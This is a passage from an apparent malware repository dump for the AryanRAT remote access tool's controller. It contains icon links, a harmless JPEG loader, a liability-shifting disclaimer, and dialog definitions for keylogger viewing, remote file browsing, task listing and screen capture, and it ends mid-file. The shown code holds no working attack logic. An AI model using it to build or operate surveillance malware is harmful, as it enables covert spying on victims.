Clip_ico_1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Media Clip_ico_1.ico -------------------------------------------------------------------------------- /AryanRAT/Client/MyJPEGHandler.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | /* **************************************************************** */ 6 | /* * FUNCTION LoadAnImage: * */ 7 | /* * INPUT: path to the JPEG picture file * */ 8 | /* * OUTPUT: HBITMAP of loaded JPEG picture or 0 on error loading * */ 9 | /* **************************************************************** */ 10 | HBITMAP LoadJPEG(char* FileName) 11 | { 12 | // Use IPicture stuff to use JPG / GIF files 13 | IPicture* p; 14 | IStream* s; 15 | // IPersistStream* ps; 16 | HGLOBAL hG; 17 | void* pp; 18 | FILE* fp; 19 | 20 | 21 | // Read JPEG file in memory 22 | fp = fopen(FileName,"rb"); 23 | if (!fp) return NULL; 24 | 25 | fseek(fp,0,SEEK_END); 26 | int fs = ftell(fp); 27 | fseek(fp,0,SEEK_SET); 28 | hG = GlobalAlloc(GPTR,fs); 29 | if (!hG){ fclose(fp); return NULL; } 30 | pp = (void*)hG; 31 | fread(pp,1,fs,fp); 32 | fclose(fp); 33 | 34 | // Create an IStream so IPicture can 35 | CreateStreamOnHGlobal(hG,false,&s); 36 | if (!s){ GlobalFree(hG); return NULL; } 37 | 38 | OleLoadPicture(s,0,false,IID_IPicture,(void**)&p); 39 | 40 | if (!p){ s->Release(); GlobalFree(hG); return NULL; } 41 | s->Release(); 42 | GlobalFree(hG); 43 | 44 | HBITMAP hB = 0; 45 | p->get_Handle((unsigned int*)&hB); 46 | 47 | // Copy the image. Necessary, because upon p's release, 48 | // the handle is destroyed. 49 | HBITMAP hBB = (HBITMAP)CopyImage(hB,IMAGE_BITMAP,0,0,LR_COPYRETURNORG); 50 | 51 | p->Release(); 52 | return hBB; 53 | } 54 | 55 | 56 | -------------------------------------------------------------------------------- /AryanRAT/Client/PausePressed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/PausePressed.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Play.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Play.ico -------------------------------------------------------------------------------- /AryanRAT/Client/Stop1NormalRed.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/Stop1NormalRed.ico -------------------------------------------------------------------------------- /AryanRAT/Client/WINDOWS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/WINDOWS -------------------------------------------------------------------------------- /AryanRAT/Client/_default.pif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/_default.pif -------------------------------------------------------------------------------- /AryanRAT/Client/arrow_down.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/arrow_down.ico -------------------------------------------------------------------------------- /AryanRAT/Client/arrow_up.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/arrow_up.ico -------------------------------------------------------------------------------- /AryanRAT/Client/bags jugs.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/bags jugs.dat -------------------------------------------------------------------------------- /AryanRAT/Client/bootstat.dat: -------------------------------------------------------------------------------- 1 |  -------------------------------------------------------------------------------- /AryanRAT/Client/display-32x32.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/display-32x32.ico -------------------------------------------------------------------------------- /AryanRAT/Client/dos.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/dos.ico -------------------------------------------------------------------------------- /AryanRAT/Client/drive_cd.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/drive_cd.ico -------------------------------------------------------------------------------- /AryanRAT/Client/drive_disk.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/drive_disk.ico -------------------------------------------------------------------------------- /AryanRAT/Client/drive_network.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/drive_network.ico -------------------------------------------------------------------------------- /AryanRAT/Client/eula.txt: -------------------------------------------------------------------------------- 1 | Aryan V0.4 DISCLAIMER 2 | 3 | THIS DISCLAIMER REPRESENTS A CONTRACT BETWEEN YOU AND AlbinoSkunk. AFTER READING, YOU WILL BE ASKED TO ACCEPT THIS AGREEMENT AND CONTINUE TO USE THE SOFTWARE, OR, IF YOU DO NOT WISH TO ACCEPT THIS AGREEMENT, TO EXIT, IN WHICH CASE YOU WILL NOT BE ABLE TO USE, INSTALL OR OPERATE THE SOFTWARE. BY USING THIS SOFTWARE YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. 4 | 5 | This disclaimer is a legal agreement between you (henceforth referred to as "the User") and AlbinoSkunk, regarding the software application Aryan (henceforth referred to as "the Software") which you have downloaded, or otherwise obtained through other resources or media such as CD-ROMs, floppy disks, or through a network in object code form or other related services. 6 | 7 | By accessing, downloading, storing, loading, installing, executing, displaying, copying the Software into the memory of a computer or otherwise benefiting from using the functionality of the Software in accordance with the documentation, you agree to be bound by the terms of this agreement. If you do not agree to the terms and conditions of this Agreement, AlbinoSkunk is unwilling to grant usage of the Software to you. In such event, you may not Operate or use the Software in any way. 8 | 9 | BY CLICKING THE "I AGREE" BUTTON IT IS INTERPRETED AS A SYMBOL OF YOUR SIGNATURE AND YOU ARE THEREBY CONSENTING TO BE BOUND BY THIS AGREEMENT AND AGREE THAT IT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU. IF YOU DO NOT AGREE TO ALL OF THE TERMS OF THIS AGREEMENT, CLICK THE EXIT BUTTON REMOVE THE SOFTWARE FROM YOUR COMPUTER. 10 | 11 | By running this Software, you are consenting to be bound by this agreement. Upon termination of this agreement you will no longer be authorized to operate or use the Software in any way. The Software will not run on your computer unless or until you accept the terms of this agreement. 12 | 13 | 1. Proprietary Ownership Rights. 14 | 15 | You agree that the Software and any associated ideas, methods of operation, documentation and other information contained in the Software, are intellectual properties of AlbinoSkunk. You acknowledge that the source code for the Software is proprietary to AlbinoSkunk. You agree not to modify, adapt, translate, reverse engineer, decompile, disassemble or otherwise attempt to discover the source code of the Software. You may not remove any proprietary notices or labels on the Software. 16 | 17 | 2. Usage. 18 | 19 | AlbinoSkunk grants you permission to store, load, install and execute the specified version of the Software on an unlimited number of computers, workstations, personal digital assistants, mobile phones, hand-held devices, or other electronic devices for which the software was designed provided you are in compliance with the terms and conditions set out in this agreement. By accepting this agreement, you agree not to use the Software to: 20 | 21 | a.) Obtain unauthorized access to computer systems or electronic devices. You, the User, will be held accountable for using the Software to obtain unauthorised access to any computer system or device. By using the Software on a machine you are not authorised to do so, you are violating the terms of this disclaimer and therefore you, the User, agree to accept full responsibility for the consequences of improper usage of the Software. 22 | 23 | b.) Cause unauthorized modification. By accepting this agreement you hereby agree that you will not use the Software to cause unauthorised modification on any computer system or electronic device. By abusing the software to cause unauthorised modifications to a computer system or electronic device you are violating the terms of this disclaimer and you, the User, agree to accept full responsibility for the consequences of improper usage of the Software. 24 | 25 | c.) Cause the intentional loss or deletion of any type of data or information. By accepting this agreement you hereby agree that you will not use the Software to cause the intentional loss of data on a computer system or electronic device you are not authorised to access. By accepting this agreement you, the User, agree to accept full responsibility for the consequences that may result as well as total liability for accidental or intentional damage to any computer hardware or software, including damages caused by computer stoppages or crashes. 26 | 27 | d.) Endanger public safety. You agree that the Software will in no way, shape or form be used to endanger public safety. 28 | 29 | e.) Engage in denial of service attacks. You agree not to use the Software to participate, engage or otherwise contribute to any denial of service type attacks over the internet or any other network of computers or electronic devices. 30 | 31 | INTENTIONALLY SPREADING APPLICATIONS FOR MALICIOUS OR DAMAGING PURPOSES IS A CRIME PUNISHABLE BY FINE OR IMPRISONMENT. BY USING AlbinoSkunk PRODUCTS FOR MALICIOUS PURPOSES YOU ARE BREAKING THE TERMS AND CONDITIONS SET IN THIS AGREEMENT AND THEREFORE ACCEPT FULL RESPONSIBILITY FOR ANY CONSEQUENCES WHICH MAY RESULT FROM YOUR ACTIONS. 32 | 33 | 3. High Risk Activities. 34 | 35 | The Software is not designed or intended for use as on-line control equipment in hazardous environments requiring fail-safe performance, such as in the operation of nuclear facilities, aircraft navigation or communication systems, air traffic control, direct life support machines or weapon systems in which the failure of the Software could lead directly to death, personal injury or severe physical or environmental damage ("high risk activities"). Accordingly, AlbinoSkunk specifically disclaims any express or implied warranty of fitness for High Risk Activities. 36 | 37 | 4. Disclaimer of Warranty. 38 | 39 | The Software is provided on an AS IS basis, without warranty of any kind. The entire risk as to the quality and performance of the software is borne by you, the User. Should the Software prove defective in any respect, the User, not AlbinoSkunk or any of its staff or associates, shall assume the cost of any service and repair. 40 | 41 | 5. LIMITATION OF LIABILITY. 42 | 43 | UNDER NO CIRCUMSTANCES AND UNDER NO LEGAL THEORY, TORT, CONTRACT OR OTHERWISE, SHALL AlbinoSkunk OR IT'S ASSOCIATES BE LIABLE TO THE USER, OR ANY OTHER PERSON FOR ANY INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES OF ANY CHARACTER INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF GOODWILL, PROFIT, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES. IN NO EVENT WILL AlbinoSkunk BE LIABLE FOR ANY DAMAGES CAUSED BY IMPROPER OR UNAUTHORISED USAGE OF THE SOFTWARE, EVEN IF THE USER HAS BEEN INFORMED OF THE POSSIBILITY OF SUCH DAMAGES, OR FOR ANY CLAIM BY ANY THIRD PARTY. 44 | 45 | 5.1 NO IMPLIED OR OTHER WARRANTIES. 46 | 47 | THE SOFTWARE IS PROVIDED "AS IS", WITH NO WARRANTIES WHATSOEVER; AlbinoSkunk DOES NOT, EITHER EXPRESSED, IMPLIED OR STATUTORY, MAKE ANY WARRANTIES, CLAIMS OR REPRESENTATIONS WITH RESPECT TO THE SOFTWARE, INCLUDING, WITHOUT LIMITATION, WARRANTIES OF QUALITY, PERFORMANCE, NON-INFRINGEMENT, MERCHANTABILITY, OR FITNESS FOR USE OR A PARTICULAR PURPOSE. AlbinoSkunk FURTHER DOES NOT REPRESENT OR WARRANT THAT THE SOFTWARE WILL ALWAYS BE AVAILABLE, ACCESSIBLE, UNINTERRUPTED, TIMELY, SECURE, ACCURATE, COMPLETE AND ERROR-FREE, NOR DOES AlbinoSkunk WARRANT ANY CONNECTION TO OR TRANSMISSION FROM THE INTERNET USING THE SOFTWARE. YOU ASSUME ALL RISKS AND RESPONSIBILITIES FOR SELECTION OF THE SOFTWARE TO ACHIEVE YOUR INTENDED RESULTS, AND FOR THE INSTALLATION OF, USE OF, AND RESULTS OBTAINED FROM THE SOFTWARE. AlbinoSkunk MAKES NO WARRANTY THAT THE SOFTWARE WILL BE ERROR FREE OR FREE FROM INTERRUPTION OR FAILURE, OR THAT IT IS COMPATIBLE WITH ANY PARTICULAR HARDWARE OR SOFTWARE. TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, AlbinoSkunk DISCLAIMS ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO IMPLIED WARRANTIES OF MERCHANTABILITY, NON-INFRINGEMENT OF THIRD PARTY RIGHTS, INTEGRATION, SATISFACTORY QUALITY OR FITNESS FOR ANY PARTICULAR PURPOSE WITH RESPECT TO THE SOFTWARE AND THE ACCOMPANYING WRITTEN MATERIALS OR THE USE THEREOF. THEREFORE, AlbinoSkunk EXPRESSLY DISCLAIMS ANY EXPRESS OR IMPLIED WARRANTY REGARDING SYSTEM AND/OR SOFTWARE AVAILABILITY, ACCESSIBILITY, OR PERFORMANCE. AlbinoSkunk DISCLAIMS ANY AND ALL LIABILITY FOR THE LOSS OF DATA DURING ANY COMMUNICATIONS AND ANY LIABILITY ARISING FROM OR RELATED TO ANY FAILURE BY AlbinoSkunk TO TRANSMIT ACCURATE OR COMPLETE INFORMATION TO YOU. 48 | 49 | 5.2 LIMITED LIABILITY; NO LIABILITY FOR CONSEQUENTIAL DAMAGES. 50 | 51 | NEITHER AlbinoSkunk NOR ITS ASSOCIATES SHALL BE LIABLE TO THE USER OR ANY THIRD PARTY FOR ANY INDIRECT, SPECIAL, INCIDENTAL, COVER OR CONSEQUENTIAL DAMAGES INCLUDING, BUT NOT LIMITED TO, DAMAGES FOR THE INABILITY TO USE THE SOFTWARE OR LOSS OF GOODWILL, PROFIT, WORK STOPPAGE, COMPUTER FAILURE OR MALFUNCTION OR ANY AND ALL OTHER COMMERCIAL DAMAGES OR LOSSES, ARISING OUT OF THE USE OF, OR INABILITY TO USE THE SOFTWARE AND BASED ON ANY THEORY OF LIABILITY INCLUDING BREACH OF CONTRACT, BREACH OF WARRANTY, TORT (INCLUDING NEGLIGENCE), PRODUCT LIABILITY OR OTHERWISE, EVEN IF AlbinoSkunk HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES AND EVEN IF A REMEDY SET FORTH HEREIN IS FOUND TO HAVE FAILED ITS ESSENTIAL PURPOSE. AlbinoSkunkS TOTAL LIABILITY TO YOU FOR ACTUAL DAMAGES FOR ANY CAUSE WHATSOEVER WILL BE LIMITED TO THE AMOUNT PAID BY YOU FOR THE SOFTWARE THAT CAUSED SUCH DAMAGE. -------------------------------------------------------------------------------- /AryanRAT/Client/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/favicon.ico -------------------------------------------------------------------------------- /AryanRAT/Client/file_pau.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/file_pau.ico -------------------------------------------------------------------------------- /AryanRAT/Client/film.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/film.ico -------------------------------------------------------------------------------- /AryanRAT/Client/firefox-icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/firefox-icon.ico -------------------------------------------------------------------------------- /AryanRAT/Client/firefox.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/firefox.ico -------------------------------------------------------------------------------- /AryanRAT/Client/folder.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/folder.ico -------------------------------------------------------------------------------- /AryanRAT/Client/green.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/green.ico -------------------------------------------------------------------------------- /AryanRAT/Client/hiberfil.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/hiberfil.sys -------------------------------------------------------------------------------- /AryanRAT/Client/icon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/icon1.ico -------------------------------------------------------------------------------- /AryanRAT/Client/icon2.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/icon2.ico -------------------------------------------------------------------------------- /AryanRAT/Client/image.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/image.ico -------------------------------------------------------------------------------- /AryanRAT/Client/new(1).ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/new(1).ico -------------------------------------------------------------------------------- /AryanRAT/Client/ntldr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/ntldr -------------------------------------------------------------------------------- /AryanRAT/Client/orange.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/orange.ico -------------------------------------------------------------------------------- /AryanRAT/Client/pagefile.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/pagefile.sys -------------------------------------------------------------------------------- /AryanRAT/Client/process.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/process.ico -------------------------------------------------------------------------------- /AryanRAT/Client/progman_exe_Ico22_ico_Ico1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Viper4K/malware/0d0b09eb164e54b46d4f6fde5b28a4dd143e765a/AryanRAT/Client/progman_exe_Ico22_ico_Ico1.ico -------------------------------------------------------------------------------- /AryanRAT/Client/res.rc: -------------------------------------------------------------------------------- 1 | //Microsoft Developer Studio generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "afxres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | 15 | ///////////////////////////////////////////////////////////////////////////// 16 | // French (France) resources 17 | 18 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_FRA) 19 | #ifdef _WIN32 20 | LANGUAGE LANG_FRENCH, SUBLANG_FRENCH 21 | #pragma code_page(1252) 22 | #endif //_WIN32 23 | 24 | #ifdef APSTUDIO_INVOKED 25 | ///////////////////////////////////////////////////////////////////////////// 26 | // 27 | // TEXTINCLUDE 28 | // 29 | 30 | 1 TEXTINCLUDE DISCARDABLE 31 | BEGIN 32 | "resource.h\0" 33 | END 34 | 35 | 2 TEXTINCLUDE DISCARDABLE 36 | BEGIN 37 | "#include ""afxres.h""\r\n" 38 | "\0" 39 | END 40 | 41 | 3 TEXTINCLUDE DISCARDABLE 42 | BEGIN 43 | "\r\n" 44 | "\0" 45 | END 46 | 47 | #endif // APSTUDIO_INVOKED 48 | 49 | #endif // French (France) resources 50 | ///////////////////////////////////////////////////////////////////////////// 51 | 52 | 53 | ///////////////////////////////////////////////////////////////////////////// 54 | // English (U.K.) resources 55 | 56 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) 57 | #ifdef _WIN32 58 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK 59 | #pragma code_page(1252) 60 | #endif //_WIN32 61 | 62 | ///////////////////////////////////////////////////////////////////////////// 63 | // 64 | // Dialog 65 | // 66 | 67 | IDD_DIALOG1 DIALOGEX 0, 0, 446, 146 68 | STYLE DS_LOCALEDIT | DS_CENTER | WS_MINIMIZEBOX | WS_POPUP | WS_VISIBLE | 69 | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 70 | CAPTION "Aryan Client." 71 | MENU IDR_MENU2 72 | FONT 8, "MS Sans Serif", 0, 0, 0x1 73 | BEGIN 74 | CONTROL "List1",IDC_SERVERLIST,"SysListView32",LVS_REPORT | 75 | LVS_SHOWSELALWAYS | WS_TABSTOP,401,86,40,12, 76 | WS_EX_CLIENTEDGE 77 | CONTROL "List1",IDC_LOGS,"SysListView32",LVS_REPORT | 78 | LVS_SHOWSELALWAYS | WS_TABSTOP,401,74,39,10, 79 | WS_EX_CLIENTEDGE 80 | EDITTEXT IDC_MAINPORT,56,10,137,13,ES_AUTOHSCROLL 81 | EDITTEXT IDC_FILEPORT,230,9,137,12,ES_AUTOHSCROLL 82 | EDITTEXT IDC_IPADDRESS,230,42,137,12,ES_AUTOHSCROLL 83 | EDITTEXT IDC_SERIVCENAME,56,42,137,12,ES_AUTOHSCROLL 84 | PUSHBUTTON "Ok",IDC_OKSETTING,378,105,67,12,0,WS_EX_CLIENTEDGE 85 | GROUPBOX "Connection",IDC_SETTINGS,4,1,437,28 86 | GROUPBOX "UPnP",IDC_SETTINGS2,3,34,437,28 87 | LTEXT " Main Port:",IDC_SETTINGTEXT3,9,12,34,9 88 | LTEXT " File Port :",IDC_SETTINGTEXT2,195,12,33,9 89 | LTEXT " Service Name:",IDC_SETTINGTEXT,0,44,56,9 90 | LTEXT " Local IP:",IDC_SETTINGTEXT1,195,43,33,9 91 | GROUPBOX "Keylogger Colours",IDC_KEYLOGGERCOLOURS,3,65,242,54 92 | LTEXT " Keys :",IDC_KEYSCOLOUR,11,77,28,9 93 | EDITTEXT IDC_KEYCOLOUR,62,74,40,12,ES_AUTOHSCROLL 94 | LTEXT " Time Stamp :",IDC_KEYSCOLOUR2,10,88,46,9 95 | EDITTEXT IDC_KEYCOLOUR2,62,86,40,12,ES_AUTOHSCROLL 96 | LTEXT " Window Title:",IDC_KEYSCOLOUR3,130,88,47,9 97 | EDITTEXT IDC_KEYCOLOUR3,179,87,40,12,ES_AUTOHSCROLL 98 | PUSHBUTTON "..",IDC_WINDOWTEXT,222,87,19,9 99 | PUSHBUTTON "..",IDC_TIME,105,87,19,9 100 | PUSHBUTTON "..",IDC_TEXTNORMAL,106,75,19,9 101 | EDITTEXT IDC_KEYCOLOUR4,179,74,40,12,ES_AUTOHSCROLL 102 | PUSHBUTTON "..",IDC_BACKGROUND,222,75,19,9 103 | LTEXT " BackGround :",IDC_KEYSCOLOUR4,131,75,48,9 104 | CONTROL "Tab6",IDC_TAB3,"SysTabControl32",TCS_BOTTOM | 105 | TCS_FIXEDWIDTH,0,0,446,136 106 | END 107 | 108 | IDD_DIALOG3 DIALOGEX 0, 0, 411, 190 109 | STYLE WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU 110 | CAPTION "a" 111 | FONT 8, "MS Sans Serif", 0, 0, 0x1 112 | BEGIN 113 | CONTROL "List1",IDC_TASKLIST,"SysListView32",LVS_REPORT | 114 | LVS_SINGLESEL | WS_BORDER | WS_TABSTOP,4,17,403,159, 115 | WS_EX_CLIENTEDGE 116 | CONTROL "Tab1",IDC_TAB1,"SysTabControl32",TCS_FORCELABELLEFT | 117 | TCS_FIXEDWIDTH,0,0,411,176,WS_EX_CLIENTEDGE 118 | END 119 | 120 | IDD_FILE DIALOGEX 0, 0, 360, 257 121 | STYLE WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 122 | FONT 8, "MS Sans Serif", 0, 0, 0x1 123 | BEGIN 124 | CONTROL "Tree1",IDC_TREE1,"SysTreeView32",TVS_HASBUTTONS | 125 | TVS_HASLINES | TVS_LINESATROOT | TVS_SHOWSELALWAYS | 126 | WS_TABSTOP,0,214,13,11,WS_EX_CLIENTEDGE 127 | CONTROL "List1",IDC_FILELIST,"SysListView32",LVS_REPORT | 128 | LVS_SORTASCENDING | LVS_EDITLABELS | WS_TABSTOP,13,214, 129 | 28,11,WS_EX_CLIENTEDGE 130 | CONTROL "List1",IDC_DOWNLOADS,"SysListView32",LVS_REPORT | 131 | WS_TABSTOP,0,226,149,21,WS_EX_CLIENTEDGE 132 | CONTROL "Tab1",IDC_TAB4,"SysTabControl32",0x0,0,0,359,16 133 | CONTROL "List1",IDC_SEARCHLIST,"SysListView32",LVS_REPORT | 134 | WS_TABSTOP,0,35,359,186,WS_EX_CLIENTEDGE 135 | EDITTEXT IDC_DIR,15,22,126,12,ES_AUTOHSCROLL 136 | PUSHBUTTON "Search",IDC_SEARCH,303,22,56,13,0,WS_EX_CLIENTEDGE 137 | EDITTEXT IDC_FILENAME,181,22,110,12,ES_AUTOHSCROLL 138 | LTEXT "FileName :",IDC_STATICB,143,24,34,8 139 | LTEXT "Dir:",IDC_STATICA,3,23,13,10 140 | EDITTEXT IDC_ID,321,233,38,10,ES_AUTOHSCROLL 141 | END 142 | 143 | IDD_RENAME DIALOGEX 0, 0, 208, 25 144 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 145 | EXSTYLE WS_EX_TOOLWINDOW 146 | CAPTION "Rename" 147 | FONT 8, "MS Sans Serif", 0, 0, 0x1 148 | BEGIN 149 | LTEXT "NewName:",IDC_STATIC,7,0,39,8 150 | EDITTEXT IDC_NAME,7,10,165,12,ES_AUTOHSCROLL 151 | PUSHBUTTON "Set",IDC_SETNAME,176,9,32,13 152 | END 153 | 154 | IDD_KEYLOG DIALOGEX 0, 0, 286, 150 155 | STYLE WS_MINIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 156 | MENU IDR_KEY 157 | FONT 8, "MS Sans Serif", 0, 0, 0x1 158 | BEGIN 159 | CONTROL "",IDC_KEYS,"RICHEDIT",ES_MULTILINE | ES_AUTOVSCROLL | 160 | ES_READONLY | WS_VSCROLL | WS_TABSTOP,177,0,103,49, 161 | WS_EX_CLIENTEDGE 162 | CONTROL "",IDC_KEYS2,"RICHEDIT",ES_MULTILINE | ES_AUTOVSCROLL | 163 | ES_READONLY | WS_VSCROLL | WS_TABSTOP,37,42,142,53, 164 | WS_EX_CLIENTEDGE 165 | CONTROL "Tab1",IDC_TAB2,"SysTabControl32",TCS_BOTTOM,0,10,286, 166 | 114 167 | EDITTEXT IDC_ID,0,0,38,10,ES_AUTOHSCROLL 168 | END 169 | 170 | IDD_CONNECT DIALOG DISCARDABLE 0, 0, 1, 0 171 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 172 | CAPTION "Dialog" 173 | FONT 8, "MS Sans Serif" 174 | BEGIN 175 | END 176 | 177 | IDD_SCREEN_ABD DIALOGEX 0, 0, 243, 172 178 | STYLE WS_MAXIMIZEBOX | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME 179 | CAPTION "Dialog" 180 | FONT 8, "MS Sans Serif" 181 | BEGIN 182 | CONTROL "Progress2",IDC_PROGRESS,"msctls_progress32",PBS_SMOOTH, 183 | 0,166,216,6,WS_EX_CLIENTEDGE 184 | CONTROL "Slider1",IDC_SLIDER1,"msctls_trackbar32",TBS_VERT | 185 | TBS_BOTH | TBS_NOTICKS | WS_TABSTOP,224,1,18,156 186 | EDITTEXT IDC_ID,133,132,38,10,ES_AUTOHSCROLL 187 | EDITTEXT IDC_SLEEP,217,160,26,12 188 | END 189 | 190 | IDD_SETTINGS DIALOGEX 0, 0, 155, 147 191 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 192 | CAPTION "Settings" 193 | FONT 8, "MS Sans Serif", 0, 0, 0x1 194 | BEGIN 195 | GROUPBOX "Connection Settings",IDC_STATIC,6,0,144,61 196 | LTEXT " Main Port:",IDC_STATIC,9,9,34,9 197 | LTEXT " File Port :",IDC_STATIC,13,32,33,11 198 | EDITTEXT IDC_MAINPORT,9,18,137,13,ES_AUTOHSCROLL 199 | EDITTEXT IDC_FILEPORT,9,43,137,12,ES_AUTOHSCROLL 200 | GROUPBOX "UPnP service Info",IDC_STATIC,6,64,143,69 201 | LTEXT " Service Name",IDC_STATIC,6,72,62,9 202 | LTEXT " Local IP:",IDC_STATIC,9,97,33,9 203 | EDITTEXT IDC_IPADDRESS,9,107,137,12,ES_AUTOHSCROLL 204 | EDITTEXT IDC_SERIVCENAME,9,82,137,12,ES_AUTOHSCROLL 205 | PUSHBUTTON "Ok",IDC_OK,40,119,67,12,0,WS_EX_CLIENTEDGE 206 | END 207 | 208 | IDD_SEARCH DIALOGEX 0, 0, 343, 271 209 | STYLE DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU 210 | CAPTION "Dialog" 211 | FONT 8, "MS Sans Serif", 0, 0, 0x1 212 | BEGIN 213 | CONTROL "List1",IDC_SEARCHLIST,"SysListView32",LVS_REPORT | 214 | WS_TABSTOP,0,17,343,242,WS_EX_CLIENTEDGE 215 | EDITTEXT IDC_DIR,15,2,126,12,ES_AUTOHSCROLL 216 | PUSHBUTTON "Search",IDC_SEARCH,287,1,56,13,0,WS_EX_CLIENTEDGE 217 | EDITTEXT 